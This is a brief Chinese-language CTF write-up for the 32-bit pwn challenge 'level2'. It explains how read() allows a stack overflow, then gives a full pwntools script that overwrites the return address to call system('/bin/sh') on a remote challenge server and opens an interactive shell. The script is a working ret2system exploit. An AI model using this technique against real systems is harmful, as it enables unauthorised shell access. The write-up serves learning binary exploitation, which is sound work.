nc连接,file一下32位的
拖进ida
看到熟悉的read想到栈溢出,接着搜索字符串找有用的信息
看到了如图花圈的关键字
于是我们想到利用栈溢出覆盖之前的地址,使之能跳转到system(/bin/sh)
通过控制vulnerable_function()返回到该伪栈帧执行system("/bin/sh")来get shell
然后把system以及bin/sh构造进payload
bin/sh的地址可以直接找到,system利用plt跳转got,来找到
# -*- coding: utf-8 -*-
from pwn import *
kubopiy=remote("220.249.52.133",46572)#进行连接
elf = ELF("./level2")
sysadd=elf.symbols['system']
payload=b'a'*(0x88+0x04)+p32(sysadd)+p32(0)+p32(0x0804A024)#b是字节,填入这么多的a,再加一个打包好的函数地址
kubopiy.recvuntil("Input:")#接收到那一句话
kubopiy.sendline(payload)
kubopiy.interactive()